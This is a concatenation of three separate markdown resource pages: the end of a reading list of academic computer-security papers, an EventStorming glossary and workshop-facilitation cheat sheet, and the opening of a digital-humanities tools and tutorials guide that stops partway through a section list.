- [A Distributed Trust Model](https://d1wqtxts1xzle7.cloudfront.net/33336702/nspw1997-rahman.pdf?1396028832=&response-content-disposition=inline%3B+filename%3DA_distributed_trust_model.pdf&Expires=1597138446&Signature=YJNEg8R68k0zWOQu3cIzt7xvOHBXIvSCKR4x~XDMmoeoc8I4RAW24PYxcBU1EXtHak5manFUSKJe-8ghp23dt-n37x20TRU0Jon6Sc7eOEehjFuzJdqkZku1XGBR7MWzN5s8kbMdKManuSz4XRD9ay4P~ptL06KpactCoqqMc4XC663fSXj3CYF93ndEK9R9k6EYH4~62YSC7SRezdEB1gDPdyUlax64joBmuuH2SqYOQ2uGMOpkExz6lZNkDUjrMOHAVIe1DNjetldITrk6W1BUBipO9sVqWVsYuMS-zw5tiY3jdEaMUqR57pN6ZQY9ipRx8ux~3dq1crjHMPH7Ug__&Key-Pair-Id=APKAJLOHF5GGSLRBV4ZA)
- [Abstraction and Refinement of Layered Security Policy](https://web2.utc.edu/~Li-Yang/cpsc4670/05-abstration-policy.pdf)
- [Policy Management for Networked Systems and Applications](https://www.researchgate.net/profile/Seraphin_Calo/publication/221293654_Policy_management_for_networked_systems_and_applications/links/09e41510a94fc63ec1000000/Policy-management-for-networked-systems-and-applications.pdf)
- [Containing the Hype](https://www.cs.unc.edu/~porter/pubs/APSys-CameraReady-v2.pdf)
- [Distributed trust model](https://d1wqtxts1xzle7.cloudfront.net/33336702/nspw1997-rahman.pdf?1396028832=&response-content-disposition=inline%3B+filename%3DA_distributed_trust_model.pdf&Expires=1597138791&Signature=FVH0GVQDZshfyTHzeIFQP6nCuXp2bnZxMocVIajTTeAXvA6asDZcHr1P7ZRWEG0Vig9gy~K8MJtBEsyKvqpt7lOsnxfCnY395v1qPFh~5OdyV-t8B48ctY02y9JTxofh3ZHNdWLv5NaPkKtjkqJK8ceQPW4UO1DqHNEIFU7LmFPtT3JKSplTtA86d08VoLgxhn1G5Aq55IbW8ImVSb40hgU2XMwyLanUfPw4qUSmjyq-CBwX9XzwCwer3QOZp8o3lNDMB9nubiczUcZ6EczlcTDBDGLCa3wr2GbtQOpVg1mcZOHqgwHkow0lFEx4qTJdeObKuFTnxd62ZO1jrFp1gA__&Key-Pair-Id=APKAJLOHF5GGSLRBV4ZA)
- [Issues in Designing a Policy Language for Distributed Management of IT Infrastructures](https://www.researchgate.net/profile/Jorge_Lobo2/publication/4256684_Issues_in_Designing_a_Policy_Language_for_Distributed_Management_of_IT_Infrastructures/links/0912f50a5108db30ca000000.pdf)
- [Planning and Integrating Deception into Computer Security Defenses](https://www.researchgate.net/profile/Eugene_Spafford/publication/267748217_Planning_and_Integrating_Deception_into_Computer_Security_Defenses/links/5463a1a80cf2c0c6aec4f5c6.pdf)
- [Applying the TCSEC Guidelines to a Real-time Embedded System Environment](https://www.researchgate.net/profile/Jim_Alves-Foss/publication/268004856_APPLYING_THE_TCSEC_GUIDELINES_TO_A_REAL-TIME_EMBEDDED_SYSTEM_ENVIRONMENT/links/547e3f320cf2de80e7cc553e/APPLYING-THE-TCSEC-GUIDELINES-TO-A-REAL-TIME-EMBEDDED-SYSTEM-ENVIRONMENT.pdf)
- [Safety analysis for the extended schematic protection model](<https://www.profsandhu.com/confrnc/oakland/o91safty(org).pdf>)
- [A Secure and Reliable Bootstrap Architecture](https://repository.upenn.edu/cgi/viewcontent.cgi?article=1237&context=cis_reports)
- [Adaptive Cyberdefense for Survival and Intrusion Tolerance](https://www.researchgate.net/profile/Richard_Schantz/publication/232623135_Adaptive_Cyberdefense_for_Survival_and_Intrusion_Tolerance/links/02e7e523ca04060212000000.pdf)
- [Basic Concepts and Taxonomy of Dependable and Secure Computing](https://drum.lib.umd.edu/bitstream/handle/1903/6459/TR_2004-47.pdf)
- [The Base-Rate Fallacy and the Difficulty of Intrusion Detection](https://people.scs.carleton.ca/~soma/id-2006w/readings/axelsson-base-rate.pdf)
- [A Linear Time Algorithm for Deciding Subject Security](https://www.cs.nmt.edu/~doshin/t/s06/cs589/pub/2.JLS-TG.pdf)
- [Applying the take-grant protection model](classic_papers/applying_take_grant.pdf)
- [Formal models for computer security](http://crypto.stanford.edu/~ninghui/courses/Fall03/papers/landwehr_survey.pdf)
- [Capability myths demolished](https://srl.cs.jhu.edu/pubs/SRL2003-02.pdf)
- [The Inevitability of Failure: The Flawed Assumption of Security in Modern Computing Environments](https://web.archive.org/web/20070621155813/http://jya.com/paperF1.htm)
- [Lattice-based access control models](http://www.winlab.rutgers.edu/~trappe/Courses/AdvSec05/access_control_lattice.pdf)
- [A lattice model of secure information flow](http://faculty.nps.edu/dedennin/publications/lattice76.pdf)
- [A framework for dynamic subversion](https://calhoun.nps.edu/bitstream/handle/10945/919/03Jun_Rogers_David.pdf)
- [NGSCB: A Trusted Open System](https://web.archive.org/web/20050304033047/https://research.microsoft.com/~yuqunc/papers/ngscb.pdf)
- [EROS: a fast capability system](https://courses.cs.washington.edu/courses/cse551/19wi/readings/eros-sosp99.pdf)
- [LOMAC: Low Water-Mark Integrity Protection for Linux](https://web.archive.org/web/20110716113909/http://www.isso.sparta.com/documents/lomac.pdf)
- [Access Control Model For Distributed Conferencing System](https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.199.1609&rep=rep1&type=pdf)
- [A Comparison of Commercial and Military Computer Security Policies](http://theory.stanford.edu/~ninghui/courses/Fall03/papers/clark_wilson.pdf)
- [Security Policies and Security Models](https://www.cs.purdue.edu/homes/ninghui/readings/AccessControl/goguen_meseguer_82.pdf)
## Content wanted
If you know of any good books, talks, papers, or other resources on the topics below, please submit a pull request, or even easier, just [create an issue](https://github.com/veeral-patel/how-to-secure-anything/issues/new) and I'll add the resources to the repo for you.
- How is online gambling kept secure?
- How are casino slot machines kept secure both from insiders (see Ocean's 13!) and outsiders?
- How are facilities containing hazardous biological, chemical material secured?
- What about nuclear facilities?
- What security requirements does the DOD have for in its JEDI Cloud?
- How do chip fabs and bio facilities prevent contamination?
- Are there any things we can apply from safety engineering to security engineering?
- Do unhackable systems exist? How would you build one?
## In the future
- Write up case studies on how I'd use my process to secure different things
- Create practical, step by step checklists for doing each of the parts of my process
- Have interviews with people who design security for museums, banks, prisons, casinos, etc
|
# EventStorming Glossary & Cheat sheet
EventStorming is the smartest approach to collaborate beyond silo boundaries. The power of EventStorming comes from a diverse multi-disciplined group of people who, together, have a lot of wisdom and knowledge. While it originally was invented for a workshop to model domain-driven design aggregates, it now has a broader spectrum. From gaining a big-picture problem space of the whole domain to gaining insight into the entire software delivery flow and creating a long term planning. Every one of these workshops has the same basic requirements and needs.
Here you will find a combination of a glossary of terms on EventStorming core concepts written down in a consistent and comprehensive glossary. Just be sure to try and avoid jargon as much as possible, as it sets up the unnecessary insider-outsider distinction. And a Cheat sheet that you can use facilitating your own EventStorming.
## Glossary
### Core Concepts
**Domain Event**
A Domain Event is the main concept of EventStorming. It is an event that is relevant for the domain experts and contextual for the domain that is being explored. A Domain Event is a verb at the past tense. The official EventStorming colour is orange.
**HotSpot**
Hotspots are used to visualise and capture hot conflicts. Conflicts caused by, and not exclusive to, inconsistencies (in language), frictions, questions, dissent, objections, issues or procrastinating going deep to explore for later. The official EventStorming colour is neon pink and we also slightly pivot a hotspot when we use it.
**Timeline**
EventStorming is a powerful tool when we have a story to tell, when we have a timeline. The paper roll on the wall represents time from left to right. We can have parallel streams from top to bottom on the paper roll.
**Chaotic Exploration**
Chaotic exploration can be used at the start of EventStorming. Each person writes Domain Events by themselves that they can think off. They will put these Domain Events in order they think they happen on the paper roll.
**Enforce the Timeline**
A phase happening after chaotic exploration, meaning we try to make the timeline consistent and remove duplicate stickies.
### Big Picture EventStorming
The goal of Big Picture EventStorming is to assess the health of an existing line of business or explore the viability of a new startup business model. It helps the group create a shared state of mind of the vision of that domain of the company. We can use the output as input for Conway’s law alignment, organising business flow around teams and software with emergent bounded contexts. You can do these workshop with 10-30+ people on one paper roll.
**Opportunity**
Because a Hotspot can have a negative association we also give people the chance to add opportunities. We use green because of the association it has with something positive. Start using Opportunities after we made a consistent timeline.
**Actor/Agent**
Actor or Agent is a group of people, a department, a team or a specific person involved around a (group of) Domain Event(s). The official colour to use is a small yellow post-it.
**System**
A system is a deployable IT System used as a solution for a problem in the domain. When we have finished making the timeline consistent, we can start mapping systems around Domain Events. There can also be duplicates and it can be anything from using Excel to some microservice. The official colour is a wide pink post-it.
**Value**
We can add value like we would do in a value stream map, after we have made the timeline consistent. We do this to make explicit where the value is in our domain. We use the red and green small stickies to show positive and negative value.
**Pivotal Events**
With Pivotal Events, we start looking for the few most significant events in the flow. For an e-commerce website, they might look like “Article Added to Catalogue”, “Order Placed”, “Order Shipped”, “Payment Received” and “Order Delivered”. These are often the events with the highest number of people interested.
*Source: https://leanpub.com/ddd_first_15_years – Discovering Bounded Contexts with EventStorming — Alberto Brandolini*
**Swimlanes**
Separating the whole flow into horizontal swimlanes, assigned to given actors or departments, is another tempting option since it improves readability. This seems the most obvious choice for people with a background in process modelling.
*Source: https://leanpub.com/ddd_first_15_years – Discovering Bounded Contexts with EventStorming — Alberto Brandolini*
**Emerging Bounded Contexts**
From a Big Picture EventStorming we can picture Emerging Bounded Contexts. They are the first indicators of where to start deep-diving towards designing bounded contexts around business problems.
*Source: https://leanpub.com/ddd_first_15_years – Discovering Bounded Contexts with EventStorming — Alberto Brandolini*
### Process modelling EventStorming
The goal of process modelling EventStorming is to assess the health of a current process in the company. It helps the group create a shared state of mind of the current status quo of the process, finding bottlenecks and find parts of the system to decouple the existing software.
*Source: https://leanpub.com/introducing_eventstorming*
**Policy**
A policy is a reaction that says “whenever X happens, we do Y”, eventually ending up with in the flow between a Domain Event and a Command/action. We use a big lilac post-it for these. A policy can be an automated process or manual. A policy can also be named a reactor, eventual business constraint or rule or a lie detector because there is always more to policies than you first think.
**Command/Action**
Represents decisions, actions or intent. They can be initiated by an actor or from an automated process. During process EventStorming usually, the word "Action" usually fits better with stakeholders than command because it is easier to grasp. We officially use a blue coloured post-it for it.
**Query Model/Information**
To make decisions an actor might need information, we capture these in a Query Model. For process EventStorming information might be more recognised by stakeholders. We officially use a green post-it to represent a query model.
**Enforce colour coding**
Enforcing the colour coding is playing EventStorming by the rules. Often used after or during enforcing the timeline it creates a different dynamic. Below you see the colour coding and how they are to be used in the flow of the timeline.
### Software Design EventStorming
The outcome of a design level EventStorming is to design clean and maintainable Event-Driven software, to support rapidly evolving businesses. Together with business stakeholders, we design a shared language and represent that in a shared model that brings value in solving a problem within a bounded context.
**Constraint**
A constraint is a restriction we have or need to design from our problem space when we want to perform a command/action, another word could be consistent business constraint or rule. The official color to use is a big yellow post-it. It was called an aggregate before which is now officially a legacy word in EventStorming, since we prefer not to use the word aggregate with business stakeholders.
## Cheat Sheet
### Preparations
#### Invites
Invites are essential to make it a successful workshop. You want to invite everyone who brings knowledge and who needs the knowledge, usually domain experts and the engineers. You want to add information about what the goal of the workshop is, and what EventStorming is. I always send the video Alberto Brandolini – 50,000 Orange Stickies Later to the attendees plus the resources page from eventstorming.com.
#### Materials
There is nothing so annoying as not having the right material, so you want to make absolutely sure you have everything needed. I have written a blog post here about it, go check it out!
#### Room setup
The best picture still is the one from the book EventStorming on leanpub. The idea is to have a modelling surface around 6-8 meters, a table for putting the materials on and a visible legend for people to see. We want to have no seats in sight. Also, you want a room preferable where the windows can open so you can have fresh oxygen in the room and have some food or candies lying around.
*Source: https://leanpub.com/introducing_eventstorming*
#### Facilitation
For an effective EventStorming workshop, you want to have a dedicated facilitator.
As a facilitator:
* You want to have a neutral role so that you can cut long discussions short and visualise them with hotspots.
* You need to find to balance to when you will intervene and when you will let the discussion flow.
* You are always the first in the room and the last to leave, so you can set up the room correctly and talk with people afterwards.
* It is your job to facilitate the group and give them feedback and insights about the group interaction so that they can decide what to do. For instance, when you see multiple people looking on their phone, you can tell “I see that part of the group is distracted from the activity by looking on their phones”.
* You have to observe and let the group figure out what their needs are, however sometimes you need to decide for them when the group can’t.
### Workshop process
#### Check-in
I always start a workshop with what is called a check-in. It is essential to be present physically and mentally for the workshop. So in a check-in, ask the attendees questions about how it is going with them. Like how was their weekend, how are they feeling, what do they hope to get out of the workshop today. You must not discuss any workshop or work-related stories. Always check-in first as a facilitator and lead by example by sharing just enough. Afterwards, let participants in the group decide for themselves when they will check-in popcorn style! When everyone is done, it is important to wrap up and summarise as a facilitator what you heard the participants say.
##### Agreements
Because we have a room full of people with different perspectives, it is vital to make some agreements on how we collaborate during the workshop. We want to make it explicit by writing this on a flip chart and stick it to a wall so that you as a facilitator can point to these explicitly. I write and discuss the following three agreements from Deep Democracy:
* Everyone is right; nobody has the monopoly on the truth.
* We start a conversation to deepen our relationship.
* We are willing to learn together.
After you can discuss with the attendees if they themselves have rules they want to add and discuss these with them if they need to be added.
##### EventStorming
Now it is time to give an intro on EventStorming. I usually tell a microstory to the people explaining why classic forms of collaboration don’t work for me, and why EventStorming is different. These are personal and I advice you to figure out such a story for yourself. Explain the basics of what a domain event is on the legend.
*Source: https://leanpub.com/introducing_eventstorming*
**Step 1: Chaotic exploration**
Start with asking people to write their domain events that they know of for themselves. Here people must work by themselves so that we don’t bias each other. Also, try to avoid answering questions at this point. Tell them that they can put their domain events on the paper the way they feel is correct. We want their perception on the paper. Do not rush this part; this is the essential part of the whole EventStorming. When people start putting their domain events on they can begin to read each other’s events, but make sure they don’t begin discussing them out loud; it can bias or rush the others.
*Source: https://leanpub.com/introducing_eventstorming*
**Step 2: Enforce the timeline**
After you are sure everyone is done with putting their domain events on the paper, we can start enforcing the timeline. It means asking the attendees to:
* Start discussing the events, I expect a lot of noise and chaos now.
* Removing duplicate events, let them discuss if they really are duplicate events, it might be the same language for different concepts.
* Ordering all events in the correct timeline.
* Adding structure with tape when needed, but be careful adding structure too soon. You can lose valuable insights from doing so.
**Step 3: Hotspots**
During Step 2 we will get a lot of conflicts between several perceptions, which is good. Out of conflict we grow and gain new insights. However, to be able to manage these conflict we add a pinkish sticky where there are conflicts. We call these hotspots. Hotspots can also mean pain points or questions that are unanswered. As a facilitator, you at this phase add the hotspots.
**Step 4: Add concepts when needed**
Whenever another EventStorming concept pop-up, we add them to the legend and introduce these to the group. The picture that explains “almost” everything are the concepts you can add:
##### Check-out
Like the check-in, we also want to end a workshop with a check-out. Stand in a circle with everyone and ask them what their thought was about the workshop. People can step inside the circle, give a statement and if other people agree they step with them inside the circle. Finish when you are sure everyone is done.
Remember, Alberto calls EventStorming like a pizza. The paper roll and domain events are the base of your pizza, the dough, but you put your ingredients on top of it the way you like it (as long as it isn’t pineapple 😉).
## Sources
* [EventStorming.com](https://EventStorming.com)
* [Leanpub: Introducing EventStorming](https://leanpub.com/introducing_eventstorming)
* [Leanpub: DDD First 15 years](https://leanpub.com/ddd_first_15_years) – Discovering Bounded Contexts with EventStorming — Alberto Brandolini
* [Alberto Brandolini](https://twitter.com/ziobrando)
## Contributors
Thanks to all [existing and future contributors](https://github.com/ddd-crew/eventstorming-glossary-cheat-sheet/graphs/contributors) and to the following individuals who have all contributed to the EventStorming Glossary and Cheat sheet:
- [Kenny Baas-Schwegler](https://github.com/baasie)
- [Chris Richardson](https://github.com/cer)
## Contributions and Feedback
The EventStorming Glossary and Cheat sheet is freely available for you to use. In addition, your feedback and ideas are welcome to improve the technique or to create alternative versions.
If you have questions you can ping us or open an [Issue](https://github.com/ddd-crew/eventstorming-glossary-cheat-sheet/issues/new/choose).
Feel free to also send us a pull request with your examples or experience reports.
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This work is licensed under a [Creative Commons Attribution 4.0 International
License][cc-by].
[![CC BY 4.0][cc-by-image]][cc-by]
[cc-by]: http://creativecommons.org/licenses/by/4.0/
[cc-by-image]: https://i.creativecommons.org/l/by/4.0/88x31.png
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|
# Welcome to the Guide and Introduction to Digital Humanities Toolkit
### Contents:
[General Guides & Resources](#general-guides--resources) | [Orientation on the Field](#orientation-on-the-field-selected) | [Getting Started](#getting-started-with-digital-humanities) | [Creating and Maintaining an Online Scholarly Presence](#creating-and-maintaining-an-online-scholarly-presence) (Academic Blogging | Academic Twitter) | [DH Project-Making](#dh-project-making) | [Digitization](#digitization) | Citing Digital Resources | Teaching Guides | The Job Market for DH Graduate Students | Evaluating DH Scholarship for Academic Promotion and Tenure
## General Guides & Resources
- [CUNY Digital Humanities Resource Guide](http://commons.gc.cuny.edu/wiki/index.php/The_CUNY_Digital_Humanities_Resource_Guide)
- [Digital Humanities Keywords](http://www.dhkeywords.org/wp/) (in-progress online collection of essays on key concepts and words in DH)
- [Morgan Paige, What Digital Humanists Do](http://www.dmdh.org/2013/09/what-digital-humanists-do/) ("basic introduction to some of the major DH activities"; organized by project type) (2013)
- Miriam Posner
- ["How Did They Make That?"](http://dhbasecamp.humanities.ucla.edu/bootcamp/2013/08/28/how-did-they-make-that/) (2013)
- ["Tutorials and Introductions" to Digital Humanities](http://www.humanities.ucla.edu/getty/index.php/resources/tutorials-introductions/) (2014)
- Andrew Robichaud and Cameron Blevins, ["Humanities 3.0: Tooling Up for Digital Humanities"](http://toolingup.stanford.edu/) (2011)
- Simpson Center for the Humanities (U. Washington), [Resources for Digital Humanities](http://depts.washington.edu/uwch/programs/digital-humanities/dh-resources)
- UCLA Center for Digital Humanities, [Intro to Digital Humanities](http://dh101.humanities.ucla.edu/?utm_content=buffer549b1&utm_source=buffer&utm_medium=twitter&utm_campaign=Buffer) (expansive resources based on Johanna Drucker and David Kim's DH 101 course at UCLA; includes concepts & readings, tutorials, exercises, student projects, and advanced topics)
- [TaDiRAH](https://github.com/dhtaxonomy/TaDiRAH/tree/master/reading). (see also about TaDiRAH) (taxonomy of digital-humanities activities, objects, and techniques)
- Amanda Vixconti, [Everything about doing the digital humanities: DH infrastructure, daily practices, etc](http://literaturegeek.com/tag/meta-dh/). (2016-2017) (series of practical blog posts on creating, implementing, and running digital humanities programs and labs based on Visconti's experience at Purdue U.)
## Orientation on the Field (selected)
- A Companion to Digital Humanities, ed. Susan Schreibman, Ray Siemens, and John Unsworth (Blackwell, 2004) [[full text online](http://www.digitalhumanities.org/companion/DLS/)]
- A Companion to Digital Literary Studies, ed. Ray Siemens and Susan Schreibman (Blackwell, 2007) [[full text online](http://www.digitalhumanities.org/companion/)]
- Debates in the Digital Humanities, ed. Matthew K. Gold (U. Minnesota Press, 2012) [[full text online](http://dhdebates.gc.cuny.edu/debates)]
- [DH- and New Media-friendly Journals](https://github.com/denten/dhnotes/wiki/journals) (journals known for publications related to digital humanities and new media studies)
- History of Digital Humanities Field:
- Susan Hockey, ["The History of Humanities Computing"](http://www.digitalhumanities.org/companion/view?docId=blackwell/9781405103213/9781405103213.xml&chunk.id=ss1-2-1&toc.depth=1&toc.id=ss1-2-1&brand=default) (2004)
- John Unsworth, ["What’s 'Digital Humanities' and How Did It Get Here?"](http://blogs.brandeis.edu/lts/2012/10/09/whats-digital-humanities-and-how-did-it-get-here/) (2012)
- Meredith Hindley, ["The Rise of the Machines--NEH and the Digital Humanities: The Early Years"](http://www.neh.gov/humanities/2013/julyaugust/feature/the-rise-the-machines) (2013)
- Matthew G. Kirschenbaum, ["What is Digital Humanities and What's It Doing in English Departments?" [PDF]](http://mkirschenbaum.files.wordpress.com/2011/03/ade-final.pdf) (2010)
## Getting Started with Digital Humanities
- [DevDH.org lessons on getting started in DH](http://devdh.org/)
- Crystal S. Anderson, ]"Digital Humanities for the Rest of Us"](https://crystalsanderson.net/2016/07/27/digital-humanities-for-the-rest-of-us/) (2016) (on taking "baby steps" into DH)
- Mary Axford, Discipline-Specific Tools: Digital Humanities (2014)
1. [What’s the Right Toolset for Digital Humanities?](http://www.academicpkm.org/2014/03/10/tools-tools-plenty-tools-whats-right-toolset/)
2. [Literature](http://www.academicpkm.org/2014/05/18/discipline-specific-tools-series-digital-humanities-pt-2-literature/)
3. [History](http://www.academicpkm.org/2014/06/29/discipline-specific-tools-digital-humanities-3-history/)
- Andrew Goldstone, ["Notes on Using Digital Media for First-Year Graduate Students"](https://andrewgoldstone.com/blog/using-digital2016/) (2016) ("My department asked me to meet with our first-year Ph.D. students to talk about “Using Digital Media” in their scholarly lives. It was interesting to try to sketch an outline of what I thought a starting English Ph.D. student should hear on the topic, and I thought I’d post a copy of that outline here...")
- Adeline Koh, ["Introducing Digital Humanities Work to Undergraduates: An Overview"](http://www.hybridpedagogy.com/journal/introducing-digital-humanities-work-undergraduates-overview/) (2014) ("brief overview of an assortment of digital humanities projects that can be implemented in primarily undergraduate-focused institutions")
- Paige Morgan, ["How to Get a Digital Humanities Project Off the Ground"](http://www.paigemorgan.net/how-to-get-a-digital-humanities-project-off-the-ground/) (2014)
- Trevor Owens, ["Where to Start? On Research Questions in The Digital Humanities"](http://www.trevorowens.org/2014/08/where-to-start-on-research-questions-in-the-digital-humanities/) (2014)
- Lisa Spiro, ["Getting Started in Digital Humanities"](http://journalofdigitalhumanities.org/1-1/getting-started-in-digital-humanities-by-lisa-spiro/) (2011)
- George H. Williams, ["The Question of Inclusion in the Digital Humanities"](https://docs.google.com/document/d/1uGaXQOgCa42Ru8vz5Y3Vk5PNR25OWb7H703RWwxZzyY/mobilebasic?pli=1) (includes sections on Starting Places and Readings for beginners in DH)
## Creating and Maintaining an Online Scholarly Presence
- Gerald R. Lucas, ["Social Media: Top Ten Practices"](https://medium.com/digital-humanities/social-media-top-ten-practices-58a8fe44e220) (2013) ("My list of best practices for faculty in higher education teaching with social media")
- Kelli Marshall, ["How to Curate Your Digital Identity as an Academic"](http://chronicle.com/article/How-to-Curate-Your-Digital/151001) (2015)
- Academic/Professional Blogging
- Tim Hitchcock, ["Doing It In Public: Impact, Blogging, Social Media and the Academy"](http://historyonics.blogspot.de/2014/07/doing-it-in-public-impact-blogging.html) (2014)
- Rohan Maitzen, ["Blogging: Accept No Substitutes!"](http://www.openlettersmonthly.com/novelreadings/blogging-accept-no-substitutes/) (2013)
- Ernesto Priego, ["Some Tips for WordPress.com Beginners"](https://epriego.blog/2014/10/15/tips-wordpress-com-beginners/) (2014)
- Writing For Research, ["How to Write a Blogpost From Your Journal Article"](https://medium.com/@write4research/how-to-write-a-blogpost-from-your-journal-article-6511a3837caa#.un08vwhbe) (2015)
- See also: Jenny Davis on [citing blogs in academic research](http://blogs.lse.ac.uk/impactofsocialsciences/2013/05/08/the-place-of-blogs-in-academic-writing/) (2013)
- Academic/Professional Twitter
- [Ryan Cordell, "How to Start Tweeting (and Why You Might Want To)"](http://chronicle.com.proxy.library.ucsb.edu:2048/blogs/profhacker/how-to-start-tweeting-and-why-you-might-want-to/26065) [paywalled]
- Dorothy Bishop, ["A Gentle Introduction to Twitter for the Apprehensive Academic](http://deevybee.blogspot.com/2011/06/gentle-introduction-to-twitter-for.html)
- Christopher Long, ["The Tweeting Graduate Student"](http://www.cplong.org/2013/08/the-tweeting-graduate-student/)
- See also these posts and resources on academic tweeting: [Tim Hitchcock on the importance of the academic use of Twitter and blogs](http://blogs.lse.ac.uk/impactofsocialsciences/2014/07/28/twitter-and-blogs-academic-public-sphere/) (2014); Carl Straumsheim, ["Twitter Has the Chatter"](https://www.insidehighered.com/news/2014/08/19/study-scholars-are-present-professional-networks-engage-twitter) (2014)
## DH Project-Making
- Johanna Drucker, [Workflow for Planning Digital Projects [PDF]](http://www.humanities.ucla.edu/getty/wp-content/uploads/Johannas-Workflow-for-Digital-Projects.pdf) (2014)
## Digitization
- Stephanie Routhier Perry, ["Digitization and Digital Preservation: A Review of the Literature"](http://scholarworks.sjsu.edu/cgi/viewcontent.cgi?article=1170&context=slissrj) (2014) (introduction to concepts, methods, techniques for digitizing resources)
# Tutorials for DH Tools and Methods
### Contents:
[General or Omnibus Technical Tutorials](#general-or-omnibus-technical-tutorials) | [Audio Editing](#audio-editing-tutorials-see-audio-tools) | [Code Versioning (Github)](#code-versioning-systems-git--github-tutorials-for-project-development-see-code-versioning-tools) | [Command Line (Bash / Powershell)](#command-line-tutorials-see-command-line-tools) | [Content Management Systems](#content-management-systems-tutorials-see-content-management-systems-tools) | [Curation](#curation-tutorials-and-guides-to-citing-datasets) | [Data Science](#data-science-tutorials) | [Digitization](#digitization-tutorials) | [Linked Data](#linked-data-tutorials) | [Mapping](#mapping-tutorials-see-mapping-tools) | [Network/Social Network Analysis](#network-analysis-tutorials-see-network-analysissocial-network-analysis-tools-see-also-visualization-network-visualization-tutorials) | [Programming Languages Tools (Python \* R)](#programming-languages-tutorials-programmingscripting-languages-used-to-facilitate-as-text-and-data-analysis-collection-preparation-etc-see-programming-languages-tools--resources) | [Simulation](#simulation-tutorials-see-simulation-tools)| [Text Analysis](#text-analysis-tutorials-complemented-by-text-preparation-for-digital-work-tutorials-below-see-text-analysis-tools) | [Text Collation](#text-collation-tutorials-see-text-collation-tools) | [Text Encoding](#text-encoding-tutorials-see-text-encoding-tools) | [Text Preparation](#text-preparation-for-digital-work-tutorials-text--data-wrangling-text-harvesting-scraping-cleaning-classifying-see-text-preparation-tools) | [Topic Modeling](#topic-modeling-tutorials-see-topic-modeling-tools) | [Visualization](#visualization-tutorials-see-visualization-tools)
## General or Omnibus Technical Tutorials
- [The Programming Historian 2](http://programminghistorian.org/lessons) (" tutorial-based open access textbook designed to teach humanists practical computer programming skills that are immediately useful to real reasearch needs"; includes lessons on "Getting Started with Online Sources," "Working with Files and Web Pages," "From HTML to a List of Words," "Computing Frequencies," "Wrapping Output in HTML," "Keywords in Context (KWIC)," "Downloading Multiple Records Using Query Strings," "Automated Downloading with Wget," "Getting Started with Topic Modeling and MALLET")
- [DH Tools for Beginners](https://medium.com/dh-tools-for-beginners) ("collection of tutorials written for digital humanities novices")
- M. H. Beals, ["Introduction to Digital Analysis Techniques: A Workbook for History Modules"](http://mhbeals.com/introduction-to-digital-analysis-techniques-a-workbook-for-history-modules/) (A set of curricular modules, including how-to's and assignments, for text analysis and related work using the Library of Congress’s Chronicling America on-line newspaper database. Specific topics include: "using the Chronicling America database," "geo-visualisation," "topic modeling," reprint analysis," "discourse analysis") (direct link to the modules; PDF)
- Shawn Graham, Ian Milligan, Scott Weingart, [The Historian's Macroscope](http://www.themacroscope.org/) - working title. Under contract with Imperial College Press. Open Draft Version (Autumn 2013)
- Michelle Moravec, ["Five Steps To a Successful Digital History Project"](http://march.rutgers.edu/2014/07/5-steps-to-a-successful-digital-history-project/) (2014)
- Lincoln Mullen, ["How to Make Prudent Choices About Your Tools"](http://march.rutgers.edu/2014/07/5-steps-to-a-successful-digital-history-project/) (2013)
- Miriam Posner, ["How Did They Make That?"](http://dhbasecamp.humanities.ucla.edu/bootcamp/2013/08/28/how-did-they-make-that/) (2013) ("Many students tell me that in order to get started with digital humanities, they’d like to have some idea of what they might do and what technical skills they might need in order to do it. Here’s a set of digital humanities projects that might help you to get a handle on the kinds of tools and technologies available for you to use")
- [JISC Digital Media Guides](http://www.jiscdigitalmedia.ac.uk/guides) ("Need help with using still images, sound and video for educational purposes? Explore our free digital media guides. They will take you through the process of finding, creating, managing, delivering and using digital media")
- [Tech Tips and Tools for Historians of Science](http://www.jiscdigitalmedia.ac.uk/guides) (tips and tools for historians of science that are also useful for other humanities scholars)
- UCLA Center for Digital Humanities, [Intro to Digital Humanities](http://dh101.humanities.ucla.edu/?utm_content=buffer549b1&utm_source=buffer&utm_medium=twitter&utm_campaign=Buffer) (expansive resources based on Johanna Drucker and David Kim's DH 101 course at UCLA; includes concepts & readings, tutorials, exercises, student projects, and advanced topics)
## Audio Editing Tutorials ([see Audio Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-audio-tools))
- JISC Guides,
- ["An Introduction to Digital Audio"](http://www.jiscdigitalmedia.ac.uk/guide/an-introduction-to-digital-audio)
- ["Audio Post-Production Techniques for Spoken Word"](http://www.jiscdigitalmedia.ac.uk/guide/an-introduction-to-digital-audio)
- ["Audio Processing - Dynamics and Compression"](http://www.jiscdigitalmedia.ac.uk/guide/an-introduction-to-digital-audio)
- ["Audio/Video Production: Recording Lectures, Seminars and Events"](http://www.jiscdigitalmedia.ac.uk/guide/audio-video-production-recording-lectures-seminars-and-events)
- ["Basic Audio Editing"](http://www.jiscdigitalmedia.ac.uk/guide/basic-audio-editing)
- ["Basic Audio Mixing"](http://www.jiscdigitalmedia.ac.uk/guide/basic-audio-editing)
## Code Versioning Systems (Git + Github) Tutorials (for project development) (see [Code Versioning Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-code-versioning))
- TryGit, [Interactive tutorial for GitHub](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-code-versioning)
- Chad Black, ["Getting Started with GitHub and Prose.io"](http://parezcoydigo.wordpress.com/2013/08/26/getting-started-with-github-and-prose-io/) (2013)
- Jack Dougherty et al., ["Host and share HMTL code on the web with GitHub Pages tutorial"](http://epress.trincoll.edu/dataviz/chapter/host-html-github/)
- [Daniel van Strien, An Introduction to Version Control Using GitHub Desktop](http://programminghistorian.org/lessons/getting-started-with-github-desktop) (Programming Historian)
## Command Line Tutorials ([see Command Line Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-command-line))
- **Mac, Linux, Unix**
- Ian Milligan and James Baker, [Introduction to the Bash Command Line](http://programminghistorian.org/lessons/intro-to-bash) (Programming Historian)
- **Windows**
- Ted Dawson, [Introduction to Powershell](http://programminghistorian.org/lessons/intro-to-bash) (Programming Historian)
## Content Management Systems Tutorials ([see Content Management Systems Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-cms))
